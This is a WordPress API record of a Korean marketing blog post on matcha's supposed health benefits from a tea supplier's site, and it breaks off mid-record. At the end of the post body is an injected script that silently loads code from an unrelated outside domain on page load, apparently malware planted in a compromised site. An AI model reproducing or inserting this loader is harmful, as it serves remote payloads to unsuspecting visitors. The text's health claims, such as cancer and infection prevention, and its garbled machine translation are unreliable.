{"id":7262,"date":"2024-07-01T10:47:04","date_gmt":"2024-07-01T02:47:04","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7262"},"modified":"2025-02-06T08:05:15","modified_gmt":"2025-02-06T00:05:15","slug":"the-12-benefits-of-matcha-tea-which-originated-in-china-has-been-replacing-coffee-in-recent-years","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\uc911\uad6d\uc5d0\uc11c-\uc720\ub798\ud55c-\ub9d0\ucc28\uc758-12\uac00\uc9c0-\ud6a8\ub2a5\uc740-\ucd5c\uadfc-\uba87-\ub144-\ub3d9\uc548\/","title":{"rendered":"\uc911\uad6d\uc5d0\uc11c \uc720\ub798\ud55c \ub9d0\ucc28\uc758 12\uac00\uc9c0 \ud6a8\ub2a5\uc740 \ucd5c\uadfc \uba87 \ub144 \ub3d9\uc548 \ucee4\ud53c\ub97c \ub300\uccb4\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4."},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-e6ad31f\" data-block-id=\"e6ad31f\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-4042\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg\" width=\"789\" height=\"449\" alt=\"\ub9d0\ucc28\uc758 10\uac00\uc9c0 \ud6a8\ub2a5\uc744 \uc54c\uace0 \uacc4\uc2ed\ub2c8\uae4c?\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg 789w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-300x171.jpg 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-768x437.jpg 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-600x341.jpg 600w\" sizes=\"(max-width: 789px) 100vw, 789px\" \/><\/figure><\/div>\n\n\n\n<p>\"\uba85\uc548\uc138\ub77c\ub294 \uc77c\ubcf8 \uc2b9\ub824\uac00 \ub179\ucc28\ub97c \ucc3e\uc544 \uc911\uad6d\uc5d0 \uc628 \uac83\uc740 \uc720\uba85\ud569\ub2c8\ub2e4. \uadf8\ub294 \uc88c\uc120 \uc804\uc5d0 \ub9d0\ucc28\ub97c \ub9c8\uc2dc\uba74 \uc9d1\uc911\ub825\uc774 \uc9c0\uc18d\ub41c\ub2e4\ub294 \uc0ac\uc2e4\uc744 \uae68\ub2eb\uace0 \uc77c\ubcf8\uc5d0 \ub9d0\ucc28\ub97c \ubcf4\uae09\ud588\uc2b5\ub2c8\ub2e4.\" \ub274\uc695\uc8fc\uc758 \uacf5\uc778 \uc601\uc591\uc0ac\uc774\uc790 \ub4f1\ub85d \uc601\uc591\uc0ac\uc778 \ubbf8\uc57c\uc2dc\ud0c0 \uc544\uc0ac\ucf54\uc758 \ub9d0\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc911\uad6d \uc704\ub098\ub77c\uc640 \uc9c4\ub098\ub77c\uc5d0\uc11c \uc720\ub798\ud55c \ub9d0\ucc28\ub294 \ubd04\uc5d0 \ubd80\ub4dc\ub7ec\uc6b4 \ucc3b\uc78e\uc744 \ucc44\ucde8\ud558\uc5ec \ub179\uc0c9\uc73c\ub85c \uca84\uc11c \ucf00\uc774\ud06c \ucc28(\uc989, \uadf8\ub8f9 \ucc28)\ub97c \ub9cc\ub4e4\uc5b4 \ubcf4\uc874\ud558\ub294 \uad00\uc2b5\uc785\ub2c8\ub2e4. \uba39\uc744 \ub54c\uae4c\uc9c0 \uae30\ub2e4\ub838\ub2e4\uac00 \uba3c\uc800 \ucf00\uc774\ud06c \ucc28\ub97c \ubd88\uc5d0 \uad6c\uc6cc \ub9d0\ub9b0 \ub2e4\uc74c \ucc9c\uc5f0 \ub9f7\ub3cc\ub85c \uac00\ub8e8\ub85c \uac08\uc544\uc11c \ucc28 \uadf8\ub987\uc5d0 \ubd93\uace0 \ub053\ub294 \ubb3c\uc5d0 \ubd93\uace0 \ucc28 \uac70\ud488\uae30\ub85c \uadf8\ub987\uc758 \ucc28\ub97c \uc644\uc804\ud788 \ud718\uc800\uc5b4 \uac70\ud488\uc744 \ub0b8 \ub2e4\uc74c \ub9c8\uc2e0\ub2e4.<\/p>\n\n\n\n<p>\ub9d0\ucc28\ub294 12\uc138\uae30\ub85c \uac70\uc2ac\ub7ec \uc62c\ub77c\uac00\uba70 8\uc138\uae30 \ub3d9\uc548 \uc77c\ubcf8 \ucc28 \ubb38\ud654\uc5d0\uc11c \ube7c\ub193\uc744 \uc218 \uc5c6\ub294 \ubd80\ubd84\uc785\ub2c8\ub2e4. \ub9d0\ucc28\ub294 \ub179\ucc28\uc758 \uc77c\uc885\uc774\uc9c0\ub9cc \ub2e4\ub978 \ucc28\ucc98\ub7fc \ub728\uac70\uc6b4 \ubb3c\uc5d0 \uc78e\uc744 \uc6b0\ub824\ub0b4\ub294 \ub300\uc2e0 \uc78e\uc744 \uc798\uac8c \ubd80\uc21c \uac00\ub8e8\ub97c \uc0ac\uc6a9\ud569\ub2c8\ub2e4. \uace0\ub18d\ub3c4\uc758 \uc601\uc591\uc18c\ub97c \ud568\uc720\ud558\uace0 \uc788\uc5b4 \ub354 \ub192\uc740 \uc601\uc591 \ud6a8\uacfc\ub97c \uae30\ub300\ud560 \uc218 \uc788\ub294 \uac83\uc73c\ub85c \uc54c\ub824\uc838 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucd5c\uadfc \uba87 \ub144 \ub3d9\uc548 \uc720\ub7fd\uacfc \ubbf8\uad6d\uc5d0\uc11c\ub294 \ucee4\ud53c\ub97c \uba40\ub9ac\ud558\uae30 \uc2dc\uc791\ud558\uba74\uc11c \ub9d0\ucc28\ub97c \uc120\ud0dd\ud558\ub294 \uc0ac\ub78c\ub4e4\uc774 \ub298\uc5b4\ub098\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uc2e4\uc81c\ub85c \uce74\ud398\uc5d0\uc11c\ub3c4 '\ub9d0\ucc28'\ub77c\uace0 \uc801\ud78c \uba54\ub274\uac00 \ub354 \uc790\uc8fc \ub208\uc5d0 \ub744\uae30 \uc2dc\uc791\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub9d0\ucc28\uc758 \ub9e4\ub825\uc740 \ubb34\uc5c7\uc77c\uae4c\uc694? \uace0\ub300 \ub3d9\uc591 \ucc28 \ubb38\ud654\uc758 \uc720\uc0b0\uacfc \ub354\ubd88\uc5b4 \ubbf8\uad6d \uacf5\uc778 \uc601\uc591\ud559\uc790\ub4e4\uc774 \uc601\uc591\uc758 \uad00\uc810\uc5d0\uc11c \ubd84\uc11d\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud56d\uc0b0\ud654\uc81c\uc640 \ube44\ud0c0\ubbfc\uc774 \ud48d\ubd80\ud569\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ub179\ucc28\uc5d0\ub294 \ud3f4\ub9ac\ud398\ub180\ub85c \uc54c\ub824\uc9c4 \ud56d\uc0b0\ud654\uc81c \uadf8\ub8f9\uc778 \uce74\ud14c\ud0a8\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \"\uac00\ub8e8 \ub9d0\ucc28\uc5d0\ub294 \uc774 \uac15\ub825\ud55c \ud56d\uc0b0\ud654\uc81c\uac00 \ud48d\ubd80\ud558\uac8c \ud568\uc720\ub418\uc5b4 \uc788\uc5b4 \uc138\ud3ec \uc190\uc0c1\uc744 \uc904\uc774\uace0 \ub9cc\uc131 \uc9c8\ud658\uc744 \uc608\ubc29\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.\"\ub77c\uace0 \uacf5\uc778 \uc601\uc591\uc0ac Jenna Goham\uc740 \ub9d0\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubbf8\uc57c\uc2dc\ud0c0\uc5d0 \ub530\ub974\uba74 \ub9d0\ucc28\uc5d0\ub294 \ube44\ud0c0\ubbfc A, B, C, E, K\ub3c4 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud53c\ubd80\uc5d0 \uc724\uae30\ub97c \ub354\ud558\uc138\uc694.<\/h2>\n\n\n\n<p>&nbsp;\ud53c\ubd80 \ud2b8\ub7ec\ube14\uc774 \uc788\ub2e4\uba74 \uc77c\uc8fc\uc77c \ub3d9\uc548 \ucee4\ud53c \ub300\uc2e0 \ub9d0\ucc28\ub97c \ub9c8\uc154\ubcf4\uc138\uc694. 2017\ub144 \uc601\uc591 \uc804\ubb38 \uc800\ub110\uc778 \uc601\uc591\uc18c(Nutrients)\uc5d0 \ubc1c\ud45c\ub41c \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ub9d0\ucc28\uc5d0 \ud568\uc720\ub41c \ube44\ud0c0\ubbfc C\ub97c \uc12d\ucde8\ud558\uba74 \ucf5c\ub77c\uac90 \uc0dd\uc131\uc774 \ucd09\uc9c4\ub418\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \uc758\ud559 \uc815\ubcf4 \uc800\ub110\uc778 '\ud53c\ubd80 \ubc0f \uc0c1\ucc98 \uce58\ub8cc\uc758 \ubc1c\uc804'\uc5d0 \ubc1c\ud45c\ub41c \uc774 \uc5f0\uad6c\ub294 \ube44\ud0c0\ubbfc B\uac00 \uac74\uac15\ud55c \ud53c\ubd80 \uc138\ud3ec\uc758 \ub4a4\uc9d1\uae30\ub97c \ucd09\uc9c4\ud558\ub294 \ud6a8\uacfc\uac00 \uc788\ub2e4\ub294 \uc0ac\uc2e4\ub3c4 \ubcf4\uc5ec\uc8fc\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ub2e4\ub978 \ucc28\ubcf4\ub2e4 \ub354 \ub9ce\uc740 \uc5d0\ub108\uc9c0\ub97c \uc5bb\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uace0\ud584 \uc528\uc5d0 \ub530\ub974\uba74 \ub9d0\ucc28\ub294 \ub2e4\ub978 \uc5b4\ub5a4 \uc885\ub958\uc758 \ub053\uc778 \ucc28\ubcf4\ub2e4 \uce74\ud398\uc778 \ud568\ub7c9\uc774 \ub192\uc2b5\ub2c8\ub2e4(\ud64d\ucc28 \ud55c \uc794\ub2f9 47\ubc00\ub9ac\uadf8\ub7a8, \ub179\ucc28 \ud55c \uc794\ub2f9 28\ubc00\ub9ac\uadf8\ub7a8, \ub9d0\ucc28 \ud55c \uc794\ub2f9 70\ubc00\ub9ac\uadf8\ub7a8).<\/p>\n\n\n\n<p>\uc774\ub294 \ucef5\ub2f9 \uc57d 96\ubc00\ub9ac\uadf8\ub7a8(\uc885\ub958\uc5d0 \ub530\ub77c \ub2e4\ub984)\uc758 \uce74\ud398\uc778\uc774 \ud568\uc720\ub41c \ucee4\ud53c\uc640 \ube44\uc2b7\ud558\uac70\ub098 \uc57d\uac04 \ub35c \uac15\ub825\ud55c \uce74\ud398\uc778\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucee4\ud53c\ubcf4\ub2e4 \ub354 \uc2e0\uacbd\uc9c8\uc801\uc785\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ub9d0\ucc28\uc5d0\ub294 \uc2a4\ud2b8\ub808\uc2a4 \uac10\uc18c \ud6a8\uacfc\uac00 \uc788\ub294 \uac83\uc73c\ub85c \uc54c\ub824\uc9c4 L-\ud14c\uc544\ub2cc\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.\" 2016\ub144 \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \uc57d 25\ubc00\ub9ac\uadf8\ub7a8\uc758 L-\ud14c\uc544\ub2cc\uc774 \ud568\uc720\ub41c \ub179\ucc28\uc640 \uac19\uc740 \uc74c\ub8cc\ub294 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc904\uc774\uace0 \ub1cc\uc758 \uc2e0\uacbd\uc804\ub2ec\ubb3c\uc9c8\uc778 \uac10\ub9c8 \uc544\ubbf8\ub178\ub099\uc0b0(\uac10\ub9c8 \uc544\ubbf8\ub178\ub099\uc0b0 = GABA)\uc744 \uc99d\uac00\uc2dc\ud0a4\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\"\ub9d0\ucc28\ub97c \ub9c8\uc2dc\uba74 L-\ud14c\uc544\ub2cc\uacfc \uad00\ub828\uc774 \uc788\uc744 \uc218 \uc788\ub294 \ub098\ub978\ud568, \uc878\uc74c, \uc9d1\uc911\ub825 \uc800\ud558\ub97c \uc720\ubc1c\ud558\ub294 \uac83\uc73c\ub85c \uc54c\ub824\uc9c4 '\uce74\ud398\uc778 \ucda9\ub3cc' \uc5c6\uc774 \ucc9c\ucc9c\ud788 \uac01\uc131\uc744 \uc720\ub3c4\ud55c\ub2e4\uace0 \ud569\ub2c8\ub2e4.\"\ub77c\uace0 \uace0\ud584 \uc528\ub294 \ub9d0\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc0dd\uc0b0\uc131 \ud5a5\uc0c1<\/h2>\n\n\n\n<p>&nbsp;2017\ub144 \uad6d\uc81c\uc2dd\ud488\uc5f0\uad6c\ud559\ud68c\uc9c0(Food Research International)\uc5d0 \ubc1c\ud45c\ub41c \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ub9d0\ucc28\ub97c \ub9c8\uc2e0 \uc0ac\ub78c\ub4e4\uc740 \ud55c \uc2dc\uac04 \ud6c4 \uc8fc\uc758\ub825\uacfc \ucc98\ub9ac \uc18d\ub3c4\uac00 \uc57d\uac04 \uc99d\uac00\ud55c \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \uc774\ub294 \uc7a0\uc7ac\uc801\uc73c\ub85c \uc5d0\ub108\uc9c0\ub97c \uc99d\uc9c4\ud558\ub294 \ud3f4\ub9ac\ud398\ub180(\uc0dd\ub9ac \ud65c\uc131 \ucc28 \ud3f4\ub9ac\ud398\ub180\uc758 \uc8fc\uc131\ubd84\uc778 \ucc28\uc5d0\uc11c \ubd84\ub9ac\ub41c \uce74\ud14c\ud0a8 \ub2e8\ub7c9\uccb4, \uc774\ud558 EGCG)\uc758 \uc5d0\ud53c\uac08\ub85c\uce74\ud14c\ud0a8 \uac08\ub808\uc774\ud2b8\uc778 L-\ud14c\uc544\ub2cc\uacfc \uce74\ud398\uc778\uc774 \uc6d0\uc778\uc778 \uac83\uc73c\ub85c \ucd94\uc815\ub429\ub2c8\ub2e4. \ubc14\uc05c \ub0a0, \ucee4\ud53c\uc20d\uc5d0\uc11c \ub9d0\ucc28\ub97c \uc0ac\uc6a9\ud55c \uc74c\ub8cc\ub97c \uc120\ud0dd\ud558\ub294 \uac83\uc740 \uadf8\ub0a0 \uc790\uc2e0\uc744 \uc704\ud55c \uc88b\uc740 \ud22c\uc790\uac00 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc554 \uc608\ubc29\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ub9d0\ucc28 \ubd84\ub9d0 \uc790\uccb4\uc758 \ud56d\uc554 \ud6a8\uacfc\ub97c \uc785\uc99d\ud558\ub294 \uad6c\uccb4\uc801\uc778 \uc5f0\uad6c\ub294 \uc544\uc9c1 \uc5c6\uc9c0\ub9cc, \uacfc\ud559\uc790\ub4e4\uc740 \uc218\ub144 \ub3d9\uc548 \ub179\ucc28 \uce74\ud14c\uace0\ub9ac\uc5d0 \ub300\ud574 \uc5f0\uad6c\ud574 \uc654\uc2b5\ub2c8\ub2e4. \uc624\ub798\ub41c \uc5f0\uad6c\uc5d0\uc11c \ub179\ucc28\uc5d0\uc11c \ubc1c\uacac\ub418\ub294 \uce74\ud14c\ud0a8\uc778 EGCG\ub294 \ub300\uc7a5\uc554 \uc608\ubc29\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \uac83\uc73c\ub85c \uc5ec\uaca8\uc84c\uc2b5\ub2c8\ub2e4. \ub610 \ub2e4\ub978 \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ub179\ucc28\uc640 \ud56d\uc554\uc81c\uc758 \uc2dc\ub108\uc9c0 \ud6a8\uacfc\ub294 \uc554 \uc608\ubc29\uc5d0 \ud6a8\uacfc\uc801\uc774\uba70, \uc774 \uc5ed\uc2dc EGCG\uc5d0 \uc758\ud55c \uac83\uc73c\ub85c \ubc1d\ud600\uc84c\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucf5c\ub808\uc2a4\ud14c\ub864 \uc218\uce58\ub97c \uac74\uac15\ud55c \uc218\uc900\uc73c\ub85c \uc720\uc9c0 \uacfc\ud559\uc801\uc73c\ub85c \uc815\ud655\ud55c \uacb0\ub860\uc774 \ub3c4\ucd9c\ub418\uc9c0\ub294 \uc54a\uc558\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>2016\ub144\uc758 \ud55c \uc5f0\uad6c \uac80\ud1a0\uc5d0 \ub530\ub974\uba74 \ub179\ucc28\uc5d0 \ud568\uc720\ub41c EGCG\ub97c \uaddc\uce59\uc801\uc73c\ub85c \uc12d\ucde8\ud558\uba74 \ub098\uc05c \ucf5c\ub808\uc2a4\ud14c\ub864\ub85c \uc54c\ub824\uc9c4 LDL \ucf5c\ub808\uc2a4\ud14c\ub864\uc744 \ud06c\uac8c \uc904\uc77c \uc218 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \uc77c\ubd80 \uc804\ubb38\uac00\ub4e4\uc740 LDL \ucf5c\ub808\uc2a4\ud14c\ub864\uc774 \ub3d9\ub9e5\uc5d0 \uc9c0\ubc29\uc0b0\uc744 \ucd95\uc801\ud558\uc5ec \uc2ec\uc7a5 \ub9c8\ube44\uc640 \ub1cc\uc878\uc911\uc758 \uc704\ud5d8\uc744 \ub192\uc778\ub2e4\uace0 \uc124\uba85\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ub098\uc774\uac00 \ub4e4\uc5b4\uac10\uc5d0 \ub530\ub77c \ubf08\ub97c \uac15\ud654\ud558\uc138\uc694,<\/h2>\n\n\n\n<p>&nbsp;\ubf08\uc758 \uac15\ub3c4\ub97c \uac1c\uc120\ud558\ub294 \uac83\uc740 \uccb4\ub825\uacfc \uc6b4\ub3d9 \ub2a5\ub825\uc744 \uc720\uc9c0\ud558\ub294 \ub370 \uc911\uc694\ud569\ub2c8\ub2e4. \ub179\ucc28\uc5d0 \ud568\uc720\ub41c \ud3f4\ub9ac\ud398\ub180\uc740 \uc5fc\uc99d\uc744 \uc720\ubc1c\ud558\ub294 \ubf08\uc758 \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc904\uc5ec \uace8\ubc00\ub3c4\ub97c \uac1c\uc120\ud558\uace0 \uacb0\uacfc\uc801\uc73c\ub85c \uace8\ub2e4\uacf5\uc99d\uc758 \uc704\ud5d8\uc744 \uc904\uc77c \uc218 \uc788\ub294 \uac83\uc73c\ub85c \uc0dd\uac01\ub418\uba70, \uc774\ub294 \uc5ec\ub7ec \uc5f0\uad6c\uc5d0\uc11c \ubcf4\uace0\ub41c \uacb0\uacfc\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucee4\ud53c\ub098 \ub2e4\ub978 \ucc28\ubcf4\ub2e4 \ub354 \ud070 \ub9cc\uc871\uac10\uc744 \uc5bb\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ub9d0\ucc28\ub294 \uc6b0\uc720\ub098 \ub300\uc6a9 \uc6b0\uc720(\uc544\ubaac\ub4dc \uc6b0\uc720, \uadc0\ub9ac \uc6b0\uc720 \ub4f1)\uc640 \uc11e\uc5b4 \ub9c8\uc2dc\ub294 \uacbd\uc6b0\uac00 \ub9ce\uc2b5\ub2c8\ub2e4. \uc774\ub7f0 \uc2dd\uc73c\ub85c \uc6b0\uc720\uc758 \uce7c\ub85c\ub9ac \ubd80\ubd84\uc744 \ucd94\uac00\ud558\uba74 \uc77c\ubc18 \uc5d0\uc2a4\ud504\ub808\uc18c \uae30\ubc18 \ub77c\ub5bc\ub9cc\ud07c \ud3ec\ub9cc\uac10\uc744 \ub290\ub084 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucc9c\uc5f0 \uc0c9\uc18c\ub85c\ub3c4 \uc720\uc6a9\ud569\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc77c\ubd80 \uc624\ub798\ub41c \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \uc0ac\ud0d5\uc744 \ub9cc\ub4dc\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \uc778\uacf5 \uc0c9\uc18c\ub294 \ubc1c\uc554 \ubb3c\uc9c8\uc774\ub77c\uace0 \ud569\ub2c8\ub2e4. \ub530\ub77c\uc11c \ucc9c\uc5f0 \uc0c9\uc18c\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4\uba74 \ub2e4\ub978 \ubc29\ubc95\uc744 \uc0ac\uc6a9\ud558\uc9c0 \ub9c8\uc138\uc694. \ub9d0\ucc28 \ube0c\ub79c\ub4dc 'BeMatcha'\ub294 \uace0\ud488\uc9c8 \ub9d0\ucc28\ub97c \ud587\ubcd5\uc774 \uc544\ub2cc \uadf8\ub298\uc5d0\uc11c \uc7ac\ubc30\ud558\uc5ec \uc5fd\ub85d\uc18c(\uc5fd\ub85d\uc18c)\ub97c \ub300\ub7c9\uc73c\ub85c \uc0dd\uc0b0\ud560 \uc218 \uc788\ub2e4\uace0 \uc8fc\uc7a5\ud569\ub2c8\ub2e4. \uc774 \uc5fd\ub85d\uc18c\ub294 \ub9d0\ucc28\uc758 \uc120\uba85\ud55c \ub179\uc0c9\uc744 \ub760\uba70 \uc74c\uc2dd\uc758 \uc0c9\uc744 \ub0b4\ub294 \ub370\ub3c4 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4. \uc694\ub9ac, \ud398\uc774\uc2a4\ud2b8\ub9ac, \uce75\ud14c\uc77c \ub4f1\uc5d0 \ub9d0\ucc28 \uac00\ub8e8\ub97c \uc870\uae08\ub9cc \ub123\uc73c\uba74 \uc544\ub984\ub2e4\uc6b4 \ub179\uc0c9\uc744 \uc644\uc131\ud560 \uc218 \uc788\uace0 \uc601\uc591\ub3c4 \ub354\ud560 \uc218 \uc788\uc73c\ub2c8 \uc8fc\ub9d0 \ud398\uc774\uc2a4\ud2b8\ub9ac\ub098 \uac00\uc871 \ubaa8\uc784\uc5d0 \uaf2d \ud55c\ubc88 \uc2dc\ub3c4\ud574 \ubcf4\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ub450\ub1cc\ub97c \ubcf4\ud638\ud558\uc138\uc694.<\/h2>\n\n\n\n<p>2020\ub144 \uc601\uc591\ud559 \uc800\ub110\uc5d0 \ubc1c\ud45c\ub41c \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74, \ub9d0\ucc28\ub97c \ub9e4\uc77c \ub9c8\uc2dc\uba74 \uc778\uc9c0 \uae30\ub2a5 \uc800\ud558\ub97c \ub2a6\ucd9c \uc218 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4. \uc774\ub294 \ub9d0\ucc28\uc5d0 \ud568\uc720\ub41c \ube44\ud0c0\ubbfc K\uc640 \ub8e8\ud14c\uc778\uc774 \uc8fc\uc758\ub825 \ubc0f \uae30\uc5b5\ub825\uacfc \uac19\uc740 \uc778\uc9c0 \uae30\ub2a5 \uac1c\uc120\uacfc \uad00\ub828\uc774 \uc788\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uac10\uc5fc\ubcd1\uc5d0 \ub300\ud55c \uc801\uadf9\uc801\uc778 \uc870\uce58\uc758 \uac00\ub2a5\uc131\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc544\uc9c1 \ucd08\uae30 \ub2e8\uacc4\uc774\uc9c0\ub9cc, 2021\ub144\uc5d0 \uc218\ud589\ub41c \uc138\ud3ec \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ub9d0\ucc28\ub294 \ud3d0\ub834\uc744 \uc77c\uc73c\ud0a4\ub294 \ubc15\ud14c\ub9ac\uc544, \uc989 \ud3d0\ub834\uad6c\uade0\uc744 \uc8fd\uc77c \uc218 \uc788\ub294 \uc7a0\uc7ac\ub825\uc774 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\uc9c4\uc740 \uc774 \uc5ed\uc2dc \uce74\ud14c\ud0a8\uc758 \ubc18\ubcf5\uc801\uc778 \uc791\uc6a9 \ub54c\ubb38\uc778 \uac83\uc73c\ub85c \ucd94\uc815\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub9d0\ucc28\ub294 \uc778\uccb4\uc5d0 \ud544\uc694\ud55c \uc601\uc591\uc18c\uc640 \ubbf8\ub7c9 \uc6d0\uc18c\uac00 \ud48d\ubd80\ud569\ub2c8\ub2e4. \uc8fc\uc694 \uc131\ubd84\uc740 \ucc28 \ud3f4\ub9ac\ud398\ub180, \uce74\ud398\uc778, \uc720\ub9ac \uc544\ubbf8\ub178\uc0b0, \uc5fd\ub85d\uc18c, \ub2e8\ubc31\uc9c8, \ubc29\ud5a5\uc131 \ubb3c\uc9c8, \uc140\ub8f0\ub85c\uc624\uc2a4, \ube44\ud0c0\ubbfc C, A, B1, B2, B3, B5, B6, E, K, H \ub4f1\uc785\ub2c8\ub2e4. \uce7c\ub968, \uce7c\uc298, \ub9c8\uadf8\ub124\uc298, \ucca0, \ub098\ud2b8\ub968, \uc544\uc5f0, \uc140\ub808\ub284, \ubd88\uc18c \ub4f1 \uc57d 30\uc885\uc758 \ubbf8\ub7c9 \uc6d0\uc18c\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub9d0\ucc28 \uacf5\uae09\uc5c5\uccb4: www.backvita.com<br>\uc774\uba54\uc77c: info@backvita.com<br>\uc804\ud654 +86 (029) 8187 2325<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>\u201cIt is famous that a Japanese monk named Myung Ansei came to China in pursuit of green tea. He realized that drinking matcha before zazen would provide sustained concentration, so he popularized it in Japan.\u201d Said Asako Miyashita, a registered dietitian and certified dietitian in New York State. Matcha, originated in the Wei and Jin [&hellip;]<\/p>","protected":false},"author":1,"featured_media":4042,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"The 12 benefits of Matcha Tea, which originated in China, has been replacing coffee in recent years","_seopress_titles_desc":"atcha dates back to the 12th century and has been an integral part of Japanese tea culture for eight centuries. Matcha is a type of green tea, but instead of steeping the leaves in hot water like other teas, the powder of finely crushed leaves is used. It is considered to contain a high concentration of nutrients and can be expected to have a higher nutritional effect.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg",789,449,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-150x150.jpg",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-300x171.jpg",300,171,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-768x437.jpg",768,437,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg",789,449,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg",789,449,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg",789,449,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/